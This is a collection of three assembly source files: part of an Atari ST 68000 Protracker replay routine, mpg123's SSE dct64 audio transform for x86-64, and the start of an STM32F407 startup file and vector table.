mt_emulate lea mt_save_USP,a0
move.l sp,(a0)
lea mt_channel_p,a0
lea mt_left_volume,a1
lea mt_left_temp,a6
move.l mt_logic_buf,sp
move.l 0(a0),a3
move.l $c(a0),a4
mt_channel03 mt_channel
lea mt_channel_p,a0
lea mt_right_volume,a1
lea mt_right_temp,a6
move.l mt_logic_buf,sp
lea 1(sp),sp
move.l 4(a0),a3
move.l 8(a0),a4
mt_channel12 mt_channel
mt_check_vols lea mt_left_volume,a0
lea mt_left_volold,a1
move.w (a0)+,d0
cmp.w (a1),d0
sne d1
andi.w #$4,d1
move.w d0,(a1)+
move.w (a0)+,d0
cmp.w (a1),d0
sne d2
andi.w #$8,d2
or.w d2,d1
move.w d0,(a1)+
lea mt_LCM_set,a0
move.l mt_LCM_set_conf(pc,d1.w),(a0)
move.l mt_save_USP,sp
trap #0
mt_LCM_set_conf dc.l mt_set_left ;for timing only
dc.l mt_set_left
dc.l mt_set_right
dc.l mt_set_all
mt_set_left move.w mt_LCM_mask,$24(a6)
move.w mt_left_volume,d0
add.w d0,d0 ; opt hint: use scaled 030 indexing
move.w .mt_LCM_vol_tab(pc,d0.w),d0
or.w mt_LCM_left,d0
move.w d0,$22(a6)
move.l mt_physic_buf,d0
movep.l d0,$1(a6)
add.l mt_replay_len,d0
movep.l d0,$d(a6)
move.w mt_frequency,$20(a6)
move.w mt_start,(a6)
lea mt_save_SSP,a0
move.l sp,(a0)
pea mt_emulate
move.w sr,d0
andi.w #$fff,d0
move.w d0,-(sp)
rte
.mt_LCM_vol_tab dc.w 0
dc.w 2,5,7,8,9,10,10,11,11,12,12,13,13,13,14,14
dc.w 14,14,15,15,15,15,16,16,16,16,16,16,17,17,17,17
dc.w 17,17,17,18,18,18,18,18,18,18,18,18,18,19,19,19
dc.w 19,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20
mt_set_right move.w mt_LCM_mask,$24(a6)
move.w mt_right_volume,d0
add.w d0,d0 ; opt hint: use scaled 030 indexing
move.w .mt_LCM_vol_tab(pc,d0.w),d0
or.w mt_LCM_right,d0
move.w d0,$22(a6)
move.l mt_physic_buf,d0
movep.l d0,$1(a6)
add.l mt_replay_len,d0
movep.l d0,$d(a6)
move.w mt_frequency,$20(a6)
move.w mt_start,(a6)
lea mt_save_SSP,a0
move.l sp,(a0)
pea mt_emulate
move.w sr,d0
andi.w #$fff,d0
move.w d0,-(sp)
rte
.mt_LCM_vol_tab dc.w 0
dc.w 2,5,7,8,9,10,10,11,11,12,12,13,13,13,14,14
dc.w 14,14,15,15,15,15,16,16,16,16,16,16,17,17,17,17
dc.w 17,17,17,18,18,18,18,18,18,18,18,18,18,19,19,19
dc.w 19,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20
mt_set_all move.w mt_LCM_mask,$24(a6)
move.w mt_left_volume,d0
add.w d0,d0 ; opt hint: use scaled 030 indexing
move.w .mt_LCM_vol_tab(pc,d0.w),d0
or.w mt_LCM_left,d0
move.w d0,$22(a6)
move.l mt_physic_buf,d0
movep.l d0,$1(a6)
add.l mt_replay_len,d0
movep.l d0,$d(a6)
move.w mt_frequency,$20(a6)
move.w mt_start,(a6)
move.w mt_LCM_mask,d1
move.w mt_right_volume,d0
add.w d0,d0
move.w .mt_LCM_vol_tab(pc,d0.w),d0
or.w mt_LCM_right,d0
.mt_test_LCM cmp.w $24(a6),d1
bne.s .mt_test_LCM
move.w d0,$22(a6)
lea mt_save_SSP,a0
move.l sp,(a0)
pea mt_emulate
move.w sr,d0
andi.w #$fff,d0
move.w d0,-(sp)
rte
.mt_LCM_vol_tab dc.w 0
dc.w 2,5,7,8,9,10,10,11,11,12,12,13,13,13,14,14
dc.w 14,14,15,15,15,15,16,16,16,16,16,16,17,17,17,17
dc.w 17,17,17,18,18,18,18,18,18,18,18,18,18,19,19,19
dc.w 19,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20
section data
mt_funktable dc.b 0,5,6,7,8,10,11,13,16,19,22,26,32,43,64,128
mt_vibratotable
dc.b 0, 24, 49, 74, 97,120,141,161
dc.b 180,197,212,224,235,244,250,253
dc.b 255,253,250,244,235,224,212,197
dc.b 180,161,141,120, 97, 74, 49, 24
mt_periodtable
; tuning 0, normal
dc.w 856,808,762,720,678,640,604,570,538,508,480,453
dc.w 428,404,381,360,339,320,302,285,269,254,240,226
dc.w 214,202,190,180,170,160,151,143,135,127,120,113
; tuning 1
dc.w 850,802,757,715,674,637,601,567,535,505,477,450
dc.w 425,401,379,357,337,318,300,284,268,253,239,225
dc.w 213,201,189,179,169,159,150,142,134,126,119,113
; tuning 2
dc.w 844,796,752,709,670,632,597,563,532,502,474,447
dc.w 422,398,376,355,335,316,298,282,266,251,237,224
dc.w 211,199,188,177,167,158,149,141,133,125,118,112
; tuning 3
dc.w 838,791,746,704,665,628,592,559,528,498,470,444
dc.w 419,395,373,352,332,314,296,280,264,249,235,222
dc.w 209,198,187,176,166,157,148,140,132,125,118,111
; tuning 4
dc.w 832,785,741,699,660,623,588,555,524,495,467,441
dc.w 416,392,370,350,330,312,294,278,262,247,233,220
dc.w 208,196,185,175,165,156,147,139,131,124,117,110
; tuning 5
dc.w 826,779,736,694,655,619,584,551,520,491,463,437
dc.w 413,390,368,347,328,309,292,276,260,245,232,219
dc.w 206,195,184,174,164,155,146,138,130,123,116,109
; tuning 6
dc.w 820,774,730,689,651,614,580,547,516,487,460,434
dc.w 410,387,365,345,325,307,290,274,258,244,230,217
dc.w 205,193,183,172,163,154,145,137,129,122,115,109
; tuning 7
dc.w 814,768,725,684,646,610,575,543,513,484,457,431
dc.w 407,384,363,342,323,305,288,272,256,242,228,216
dc.w 204,192,181,171,161,152,144,136,128,121,114,108
; tuning -8
dc.w 907,856,808,762,720,678,640,604,570,538,508,480
dc.w 453,428,404,381,360,339,320,302,285,269,254,240
dc.w 226,214,202,190,180,170,160,151,143,135,127,120
; tuning -7
dc.w 900,850,802,757,715,675,636,601,567,535,505,477
dc.w 450,425,401,379,357,337,318,300,284,268,253,238
dc.w 225,212,200,189,179,169,159,150,142,134,126,119
; tuning -6
dc.w 894,844,796,752,709,670,632,597,563,532,502,474
dc.w 447,422,398,376,355,335,316,298,282,266,251,237
dc.w 223,211,199,188,177,167,158,149,141,133,125,118
; tuning -5
dc.w 887,838,791,746,704,665,628,592,559,528,498,470
dc.w 444,419,395,373,352,332,314,296,280,264,249,235
dc.w 222,209,198,187,176,166,157,148,140,132,125,118
; tuning -4
dc.w 881,832,785,741,699,660,623,588,555,524,494,467
dc.w 441,416,392,370,350,330,312,294,278,262,247,233
dc.w 220,208,196,185,175,165,156,147,139,131,123,117
; tuning -3
dc.w 875,826,779,736,694,655,619,584,551,520,491,463
dc.w 437,413,390,368,347,328,309,292,276,260,245,232
dc.w 219,206,195,184,174,164,155,146,138,130,123,116
; tuning -2
dc.w 868,820,774,730,689,651,614,580,547,516,487,460
dc.w 434,410,387,365,345,325,307,290,274,258,244,230
dc.w 217,205,193,183,172,163,154,145,137,129,122,115
; tuning -1
dc.w 862,814,768,725,684,646,610,575,543,513,484,457
dc.w 431,407,384,363,342,323,305,288,272,256,242,228
dc.w 216,203,192,181,171,161,152,144,136,128,121,114
dc.w $416E,$6F74,$6865,$7220
dc.w $6772,$6561,$7420,$636F
dc.w $6465,$2062,$793A,$204C
dc.w $616E,$6365,$2000
mt_chan1temp dc.l 0,0,0,0,$3ff0000,$00010000,0,0,0,0,0
mt_chan2temp dc.l 0,0,0,0,$3ff0000,$00020000,0,0,0,0,0
mt_chan3temp dc.l 0,0,0,0,$3ff0000,$00040000,0,0,0,0,0
mt_chan4temp dc.l 0,0,0,0,$3ff0000,$00080000,0,0,0,0,0
mt_samplestarts dc.l 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
dc.l 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
mt_songdataptr dc.l 0
mt_module_end dc.l 0
mt_speed dc.b 6
mt_counter dc.b 0
mt_songpos dc.b 0
mt_pbreakpos dc.b 0
mt_posjumpflag dc.b 0
mt_pbreakflag dc.b 0
mt_lowmask dc.b 0
mt_pattdeltime dc.b 0
mt_pattdeltime2 dc.b 0,0
mt_patternpos dc.w 0
mt_dmacontemp dc.w 0
mt_amiga_freq dc.l 7090000
mt_freq_list dc.l mt_freqer_list
mt_freq_table dc.l mt_freq_tab
mt_volume_tab dc.l mt_vol_tab
mt_div_table dc.l mt_div_tab
mt_frame_freq_t dc.l mt_frame_freq
mt_frame_freq_p dc.l mt_frame_freqp
mt_mixcode_p dc.l mt_mixcodes
mt_mixer_chunk dc.l mt_mix_chunk
mt_channel_p dc.l mt_channel_0
dc.l mt_channel_1
dc.l mt_channel_2
dc.l mt_channel_3
ifeq machine ; Ensure dma buffers -> ST-Ram
mt_physic_buf: dc.l mt_replay_buf0
mt_logic_buf: dc.l mt_replay_buf1
else
mt_physic_buf: ds.l 1
mt_logic_buf: ds.l 1
endc
mt_replay_len dc.l 2000
mt_save_SSP dc.l 0
mt_save_USP dc.l 0
mt_save_SP dc.l 0
mt_save_trap0 dc.l 0
mt_LCM_set dc.l mt_set_all
mt_start dc.w $0001
mt_frequency dc.w $0003
mt_left_volume dc.w 0
mt_right_volume dc.w 0
mt_left_volold dc.w 0
mt_right_volold dc.w 0
mt_LCM_mask dc.w $07ff
mt_LCM_left dc.w $540
mt_LCM_right dc.w $500
mt_left_temp dc.l 0,0,0
mt_right_temp dc.l 0,0,0
mt_channel_0 dc.l 0
dc.l 0
dc.l 0
dc.w 0
dc.w $3ff
dc.w 0
dc.w 0
mt_channel_1 dc.l 0
dc.l 0
dc.l 0
dc.w 0
dc.w $3ff
dc.w 0
dc.w 0
mt_channel_2 dc.l 0
dc.l 0
dc.l 0
dc.w 0
dc.w $3ff
dc.w 0
dc.w 0
mt_channel_3 dc.l 0
dc.l 0
dc.l 0
dc.w 0
dc.w $3ff
dc.w 0
dc.w 0
mt_dummy_tab dc.l mt_dummy_spl
dc.l mt_dummy_spl
dc.l 0
dc.w 0
dc.w $3ff
dc.w 0
dc.w -1
mt_data incbin "music/syn.mod"
ds.w 31*640/2 ;These zeroes are necessary!
section bss
mt_freqer_list ds.w 23*40
mt_freq_tab ds.l $400
mt_vol_tab ds.w $4200/2
mt_div_tab ds.w $1000
mt_dummy_spl ds.w 320
mt_frame_freqp ds.l 551
mt_mixcodes ds.l 529
ifeq machine ; ensure dma buffers -> ST-Ram
mt_replay_buf0: ds.w 1000
mt_replay_buf1: ds.w 1000
endc
mt_frame_freq ds.w 27500
mt_mix_chunk ds.w 60877
section text
|
{
"language": "Assembly"
}
|
/*
dct64_x86_64: SSE optimized dct64 for x86-64
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef _WIN64
/* short *out0 */
#define ARG0 %r9
/* short *out1 */
#define ARG1 %rdx
/* real *samples */
#define ARG2 %r8
#else
/* short *out0 */
#define ARG0 %rdi
/* short *out1 */
#define ARG1 %rsi
/* real *samples */
#define ARG2 %rdx
#endif
/*
void dct64_x86_64(short *out0, short *out1, real *samples);
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
ASM_NAME(costab_x86_64):
.long 1056974725
.long 1057056395
.long 1057223771
.long 1057485416
.long 1057855544
.long 1058356026
.long 1059019886
.long 1059897405
.long 1061067246
.long 1062657950
.long 1064892987
.long 1066774581
.long 1069414683
.long 1073984175
.long 1079645762
.long 1092815430
.long 1057005197
.long 1057342072
.long 1058087743
.long 1059427869
.long 1061799040
.long 1065862217
.long 1071413542
.long 1084439708
.long 1057128951
.long 1058664893
.long 1063675095
.long 1076102863
.long 1057655764
.long 1067924853
.long 1060439283
.long 0
.text
ALIGN16
.globl ASM_NAME(dct64_x86_64)
ASM_NAME(dct64_x86_64):
#ifdef _WIN64 /* should save xmm6-15 */
movq %rcx, ARG0
subq $168, %rsp /* stack alignment + 10 xmm registers */
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
movaps %xmm13, 112(%rsp)
movaps %xmm14, 128(%rsp)
movaps %xmm15, 144(%rsp)
#endif
leaq ASM_NAME(costab_x86_64)(%rip), %rcx
MOVUAPS (ARG2), %xmm15
MOVUAPS 16(ARG2), %xmm14
MOVUAPS 112(ARG2), %xmm0
MOVUAPS 96(ARG2), %xmm1
shufps $0x1b, %xmm0, %xmm0
shufps $0x1b, %xmm1, %xmm1
movaps %xmm15, %xmm8
movaps %xmm14, %xmm9
addps %xmm0, %xmm8
addps %xmm1, %xmm9
subps %xmm0, %xmm15
subps %xmm1, %xmm14
MOVUAPS 32(ARG2), %xmm13
MOVUAPS 48(ARG2), %xmm12
MOVUAPS 80(ARG2), %xmm0
MOVUAPS 64(ARG2), %xmm1
shufps $0x1b, %xmm0, %xmm0
shufps $0x1b, %xmm1, %xmm1
movaps %xmm13, %xmm10
movaps %xmm12, %xmm11
addps %xmm0, %xmm10
addps %xmm1, %xmm11
subps %xmm0, %xmm13
subps %xmm1, %xmm12
movaps (%rcx), %xmm0
movaps 16(%rcx), %xmm1
movaps 32(%rcx), %xmm2
movaps 48(%rcx), %xmm3
mulps %xmm0, %xmm15
mulps %xmm1, %xmm14
mulps %xmm2, %xmm13
mulps %xmm3, %xmm12
movaps 64(%rcx), %xmm0
movaps 80(%rcx), %xmm1
pshufd $0x1b, %xmm11, %xmm2
pshufd $0x1b, %xmm10, %xmm3
shufps $0x1b, %xmm13, %xmm13
shufps $0x1b, %xmm12, %xmm12
movaps %xmm8, %xmm11
movaps %xmm9, %xmm10
movaps %xmm14, %xmm4
movaps %xmm15, %xmm5
subps %xmm2, %xmm11
subps %xmm3, %xmm10
subps %xmm13, %xmm14
subps %xmm12, %xmm15
addps %xmm2, %xmm8
addps %xmm3, %xmm9
addps %xmm5, %xmm12
addps %xmm4, %xmm13
mulps %xmm0, %xmm11
mulps %xmm1, %xmm10
mulps %xmm1, %xmm14
mulps %xmm0, %xmm15
movaps 96(%rcx), %xmm0
pshufd $0x1b, %xmm9, %xmm1
pshufd $0x1b, %xmm13, %xmm2
shufps $0x1b, %xmm10, %xmm10
shufps $0x1b, %xmm14, %xmm14
movaps %xmm8, %xmm9
movaps %xmm12, %xmm13
movaps %xmm11, %xmm3
movaps %xmm15, %xmm4
subps %xmm1, %xmm9
subps %xmm2, %xmm13
subps %xmm10, %xmm11
subps %xmm14, %xmm15
addps %xmm1, %xmm8
addps %xmm2, %xmm12
addps %xmm3, %xmm10
addps %xmm4, %xmm14
mulps %xmm0, %xmm9
mulps %xmm0, %xmm13
mulps %xmm0, %xmm11
mulps %xmm0, %xmm15
movaps 112(%rcx), %xmm0
movaps %xmm0, %xmm1
movlhps %xmm1, %xmm1
movaps %xmm8, %xmm2
movaps %xmm9, %xmm3
shufps $0x44, %xmm10, %xmm2
shufps $0xbb, %xmm11, %xmm9
shufps $0xbb, %xmm10, %xmm8
shufps $0x44, %xmm11, %xmm3
movaps %xmm2, %xmm4
movaps %xmm3, %xmm5
subps %xmm8, %xmm2
subps %xmm9, %xmm3
addps %xmm4, %xmm8
addps %xmm5, %xmm9
mulps %xmm1, %xmm2
mulps %xmm1, %xmm3
movaps %xmm8, %xmm10
movaps %xmm9, %xmm11
shufps $0x14, %xmm2, %xmm8
shufps $0xbe, %xmm2, %xmm10
shufps $0x14, %xmm3, %xmm9
shufps $0xbe, %xmm3, %xmm11
movaps %xmm12, %xmm2
movaps %xmm13, %xmm3
shufps $0x44, %xmm14, %xmm2
shufps $0xbb, %xmm15, %xmm13
shufps $0xbb, %xmm14, %xmm12
shufps $0x44, %xmm15, %xmm3
movaps %xmm2, %xmm4
movaps %xmm3, %xmm5
subps %xmm12, %xmm2
subps %xmm13, %xmm3
addps %xmm4, %xmm12
addps %xmm5, %xmm13
mulps %xmm1, %xmm2
mulps %xmm1, %xmm3
movaps %xmm12, %xmm14
movaps %xmm13, %xmm15
shufps $0x14, %xmm2, %xmm12
shufps $0xbe, %xmm2, %xmm14
shufps $0x14, %xmm3, %xmm13
shufps $0xbe, %xmm3, %xmm15
shufps $0xaa, %xmm0, %xmm0
pcmpeqd %xmm1, %xmm1
pslld $31, %xmm1
psllq $32, %xmm1
xorps %xmm1, %xmm0
movaps %xmm8, %xmm1
movaps %xmm10, %xmm2
unpcklps %xmm9, %xmm8
unpckhps %xmm9, %xmm1
unpcklps %xmm11, %xmm10
unpckhps %xmm11, %xmm2
movaps %xmm8, %xmm3
movaps %xmm10, %xmm4
unpcklps %xmm1, %xmm8
unpckhps %xmm1, %xmm3
unpcklps %xmm2, %xmm10
unpckhps %xmm2, %xmm4
movaps %xmm8, %xmm1
movaps %xmm10, %xmm2
subps %xmm3, %xmm1
subps %xmm4, %xmm2
addps %xmm3, %xmm8
addps %xmm4, %xmm10
mulps %xmm0, %xmm1
mulps %xmm0, %xmm2
movaps %xmm8, %xmm9
movaps %xmm10, %xmm11
unpcklps %xmm1, %xmm8
unpckhps %xmm1, %xmm9
unpcklps %xmm2, %xmm10
unpckhps %xmm2, %xmm11
movaps %xmm12, %xmm1
movaps %xmm14, %xmm2
unpcklps %xmm13, %xmm12
unpckhps %xmm13, %xmm1
unpcklps %xmm15, %xmm14
unpckhps %xmm15, %xmm2
movaps %xmm12, %xmm3
movaps %xmm14, %xmm4
unpcklps %xmm1, %xmm12
unpckhps %xmm1, %xmm3
unpcklps %xmm2, %xmm14
unpckhps %xmm2, %xmm4
movaps %xmm12, %xmm1
movaps %xmm14, %xmm2
subps %xmm3, %xmm1
subps %xmm4, %xmm2
addps %xmm3, %xmm12
addps %xmm4, %xmm14
mulps %xmm0, %xmm1
mulps %xmm0, %xmm2
movaps %xmm12, %xmm13
movaps %xmm14, %xmm15
unpcklps %xmm1, %xmm12
unpckhps %xmm1, %xmm13
unpcklps %xmm2, %xmm14
unpckhps %xmm2, %xmm15
xorps %xmm0, %xmm0
xorps %xmm1, %xmm1
shufpd $0x2, %xmm8, %xmm0
shufpd $0x2, %xmm9, %xmm1
psrlq $32, %xmm0
psrlq $32, %xmm1
addps %xmm0, %xmm8
addps %xmm1, %xmm9
xorps %xmm0, %xmm0
xorps %xmm1, %xmm1
shufpd $0x2, %xmm10, %xmm0
shufpd $0x2, %xmm11, %xmm1
psrlq $32, %xmm0
psrlq $32, %xmm1
addps %xmm0, %xmm10
addps %xmm1, %xmm11
xorps %xmm0, %xmm0
xorps %xmm1, %xmm1
shufpd $0x2, %xmm12, %xmm0
shufpd $0x2, %xmm13, %xmm1
psrlq $32, %xmm0
psrlq $32, %xmm1
addps %xmm0, %xmm12
addps %xmm1, %xmm13
xorps %xmm0, %xmm0
xorps %xmm1, %xmm1
shufpd $0x2, %xmm14, %xmm0
shufpd $0x2, %xmm15, %xmm1
psrlq $32, %xmm0
psrlq $32, %xmm1
addps %xmm0, %xmm14
addps %xmm1, %xmm15
pshufd $0x78, %xmm9, %xmm0
pshufd $0x78, %xmm11, %xmm1
pshufd $0x78, %xmm13, %xmm2
pshufd $0x78, %xmm15, %xmm3
psrldq $4, %xmm0
psrldq $4, %xmm1
psrldq $4, %xmm2
psrldq $4, %xmm3
addps %xmm0, %xmm9
addps %xmm1, %xmm11
addps %xmm2, %xmm13
addps %xmm3, %xmm15
pshufd $0x78, %xmm10, %xmm0
pshufd $0x78, %xmm14, %xmm1
psrldq $4, %xmm0
psrldq $4, %xmm1
addps %xmm11, %xmm10
addps %xmm15, %xmm14
addps %xmm0, %xmm11
addps %xmm1, %xmm15
cvtps2dq %xmm8, %xmm8
cvtps2dq %xmm9, %xmm9
cvtps2dq %xmm10, %xmm10
cvtps2dq %xmm11, %xmm11
packssdw %xmm10, %xmm8
packssdw %xmm11, %xmm9
movd %xmm8, %eax
movd %xmm9, %ecx
movw %ax, 512(ARG0)
movw %cx, 384(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, (ARG0)
movw %ax, (ARG1)
movw %cx, 128(ARG1)
movhlps %xmm8, %xmm0
movhlps %xmm9, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 448(ARG0)
movw %cx, 320(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 64(ARG1)
movw %cx, 192(ARG1)
pshuflw $0xee, %xmm8, %xmm2
pshuflw $0xee, %xmm9, %xmm3
movd %xmm2, %eax
movd %xmm3, %ecx
movw %ax, 256(ARG0)
movw %cx, 128(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 256(ARG1)
movw %cx, 384(ARG1)
pshuflw $0xee, %xmm0, %xmm0
pshuflw $0xee, %xmm1, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 192(ARG0)
movw %cx, 64(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 320(ARG1)
movw %cx, 448(ARG1)
movaps %xmm12, %xmm0
movaps %xmm13, %xmm1
movaps %xmm14, %xmm2
movaps %xmm15, %xmm3
shufps $0x1e, %xmm0, %xmm0
pslldq $4, %xmm0
psrldq $4, %xmm0
addps %xmm2, %xmm12
addps %xmm3, %xmm13
addps %xmm1, %xmm14
addps %xmm0, %xmm15
cvtps2dq %xmm12, %xmm12
cvtps2dq %xmm13, %xmm13
cvtps2dq %xmm14, %xmm14
cvtps2dq %xmm15, %xmm15
packssdw %xmm13, %xmm12
packssdw %xmm15, %xmm14
movd %xmm12, %eax
movd %xmm14, %ecx
movw %ax, 480(ARG0)
movw %cx, 416(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 32(ARG1)
movw %cx, 96(ARG1)
pshuflw $0xee, %xmm12, %xmm0
pshuflw $0xee, %xmm14, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 224(ARG0)
movw %cx, 160(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 288(ARG1)
movw %cx, 352(ARG1)
movhlps %xmm12, %xmm0
movhlps %xmm14, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 352(ARG0)
movw %cx, 288(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 160(ARG1)
movw %cx, 224(ARG1)
pshuflw $0xee, %xmm0, %xmm0
pshuflw $0xee, %xmm1, %xmm1
movd %xmm0, %eax
movd %xmm1, %ecx
movw %ax, 96(ARG0)
movw %cx, 32(ARG0)
shrl $16, %eax
shrl $16, %ecx
movw %ax, 416(ARG1)
movw %cx, 480(ARG1)
#ifdef _WIN64
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
movaps 144(%rsp), %xmm15
addq $168, %rsp
#endif
ret
NONEXEC_STACK
|
{
"language": "Assembly"
}
|
/**
******************************************************************************
* @file startup_stm32f407xx.s
* @author MCD Application Team
* @brief STM32F407xx Devices vector table for GCC based toolchains.
* This module performs:
* - Set the initial SP
* - Set the initial PC == Reset_Handler,
* - Set the vector table entries with the exceptions ISR address
* - Branches to main in the C library (which eventually
* calls main()).
* After Reset the Cortex-M4 processor is in Thread mode,
* priority is Privileged, and the Stack is set to Main.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT 2017 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
.syntax unified
.cpu cortex-m4
.fpu softvfp
.thumb
.global g_pfnVectors
.global Default_Handler
/* start address for the initialization values of the .data section.
defined in linker script */
.word _sidata
/* start address for the .data section. defined in linker script */
.word _sdata
/* end address for the .data section. defined in linker script */
.word _edata
/* start address for the .bss section. defined in linker script */
.word _sbss
/* end address for the .bss section. defined in linker script */
.word _ebss
/* stack used for SystemInit_ExtMemCtl; always internal RAM used */
/**
* @brief This is the code that gets called when the processor first
* starts execution following a reset event. Only the absolutely
* necessary set is performed, after which the application
* supplied main() routine is called.
* @param None
* @retval : None
*/
.section .text.Reset_Handler
.weak Reset_Handler
.type Reset_Handler, %function
Reset_Handler:
ldr sp, =_estack /* set stack pointer */
/* Copy the data segment initializers from flash to SRAM */
movs r1, #0
b LoopCopyDataInit
CopyDataInit:
ldr r3, =_sidata
ldr r3, [r3, r1]
str r3, [r0, r1]
adds r1, r1, #4
LoopCopyDataInit:
ldr r0, =_sdata
ldr r3, =_edata
adds r2, r0, r1
cmp r2, r3
bcc CopyDataInit
ldr r2, =_sbss
b LoopFillZerobss
/* Zero fill the bss segment. */
FillZerobss:
movs r3, #0
str r3, [r2], #4
LoopFillZerobss:
ldr r3, = _ebss
cmp r2, r3
bcc FillZerobss
/* Call the clock system intitialization function.*/
bl SystemInit
/* Call static constructors */
bl __libc_init_array
/* Call the application's entry point.*/
bl main
bx lr
.size Reset_Handler, .-Reset_Handler
/**
* @brief This is the code that gets called when the processor receives an
* unexpected interrupt. This simply enters an infinite loop, preserving
* the system state for examination by a debugger.
* @param None
* @retval None
*/
.section .text.Default_Handler,"ax",%progbits
Default_Handler:
Infinite_Loop:
b Infinite_Loop
.size Default_Handler, .-Default_Handler
/******************************************************************************
*
* The minimal vector table for a Cortex M3. Note that the proper constructs
* must be placed on this to ensure that it ends up at physical address
* 0x0000.0000.
*
*******************************************************************************/
.section .isr_vector,"a",%progbits
.type g_pfnVectors, %object
.size g_pfnVectors, .-g_pfnVectors
g_pfnVectors:
.word _estack
.word Reset_Handler
.word NMI_Handler
.word HardFault_Handler
.word MemManage_Handler
.word BusFault_Handler
.word UsageFault_Handler
.word 0
.word 0
.word 0
.word 0
.word SVC_Handler
.word DebugMon_Handler
.word 0
.word PendSV_Handler
.word SysTick_Handler
/* External Interrupts */
.word WWDG_IRQHandler /* Window WatchDog */
.word PVD_IRQHandler /* PVD through EXTI Line detection */
.word TAMP_STAMP_IRQHandler /* Tamper and TimeStamps through the EXTI line */
.word RTC_WKUP_IRQHandler /* RTC Wakeup through the EXTI line */
.word FLASH_IRQHandler /* FLASH */
.word RCC_IRQHandler /* RCC */
.word EXTI0_IRQHandler /* EXTI Line0 */
.word EXTI1_IRQHandler /* EXTI Line1 */
.word EXTI2_IRQHandler /* EXTI Line2 */
.word EXTI3_IRQHandler /* EXTI Line3 */
.word EXTI4_IRQHandler /* EXTI Line4 */
.word DMA1_Stream0_IRQHandler /* DMA1 Stream 0 */
.word DMA1_Stream1_IRQHandler /* DMA1 Stream 1 */
.word DMA1_Stream2_IRQHandler /* DMA1 Stream 2 */
.word DMA1_Stream3_IRQHandler /* DMA1 Stream 3 */
.word DMA1_Stream4_IRQHandler /* DMA1 Stream 4 */
.word DMA1_Stream5_IRQHandler /* DMA1 Stream 5 */
.word DMA1_Stream6_IRQHandler /* DMA1 Stream 6 */
.word ADC_IRQHandler /* ADC1, ADC2 and ADC3s */
.word CAN1_TX_IRQHandler /* CAN1 TX */
.word CAN1_RX0_IRQHandler /* CAN1 RX0 */
.word CAN1_RX1_IRQHandler /* CAN1 RX1 */
.word CAN1_SCE_IRQHandler /* CAN1 SCE */
.word EXTI9_5_IRQHandler /* External Line[9:5]s */
.word TIM1_BRK_TIM9_IRQHandler /* TIM1 Break and TIM9 */
.word TIM1_UP_TIM10_IRQHandler /* TIM1 Update and TIM10 */
.word TIM1_TRG_COM_TIM11_IRQHandler /* TIM1 Trigger and Commutation and TIM11 */
.word TIM1_CC_IRQHandler /* TIM1 Capture Compare */
.word TIM2_IRQHandler /* TIM2 */
.word TIM3_IRQHandler /* TIM3 */
.word TIM4_IRQHandler /* TIM4 */
.word I2C1_EV_IRQHandler /* I2C1 Event */
.word I2C1_ER_IRQHandler /* I2C1 Error */
.word I2C2_EV_IRQHandler /* I2C2 Event */
.word I2C2_ER_IRQHandler /* I2C2 Error */
.word SPI1_IRQHandler /* SPI1 */
.word SPI2_IRQHandler /* SPI2 */
.word USART1_IRQHandler /* USART1 */
.word USART2_IRQHandler /* USART2 */
.word USART3_IRQHandler /* USART3 */
.word EXTI15_10_IRQHandler /* External Line[15:10]s */
